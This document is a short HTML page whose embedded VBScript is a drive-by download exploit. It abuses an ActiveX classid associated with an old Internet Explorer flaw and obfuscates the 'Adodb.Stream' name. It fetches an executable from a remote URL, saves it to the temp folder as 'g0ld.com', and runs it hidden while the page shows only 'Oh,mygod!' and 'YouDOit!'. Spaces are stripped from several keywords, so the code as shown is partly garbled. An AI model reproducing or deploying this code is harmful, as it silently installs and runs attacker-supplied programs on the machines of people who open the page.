<html> 
<scriptlanguage="VBScript"> 
onerrorresumenext 
dl="http://www.baidu.com/go.exe" 
Setdf=document.createElement("object") 
df.setAttribute"classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 
str="Microsoft.XMLHTTP" 
Setx=df.CreateObject(str,"") 
a1="Ado" 
a2="db." 
a3="Str" 
a4="eam" 
str1=a1&a2&a3&a4 
str5=str1 
setS=df.createobject(str5,"") 
S.type=1 
str6="GET" 
x.Openstr6,dl,False 
x.Send 
fname1="g0ld.com" 
setF=df.createobject("Scripting.FileSystemObject","") 
settmp=F.GetSpecialFolder(2) 
S.open 
fname1=F.BuildPath(tmp,fname1) 

S.writex.responseBody 
S.savetofilefname1,2 
S.close 
setQ=df.createobject("Shell.Application","") 
Q.ShellExecutefname1,"","","open",0 
</script> 
<head> 
<title>Oh,mygod!</title> 
</head><body> 
<center>YouDOit!</center> 
</body></html> 

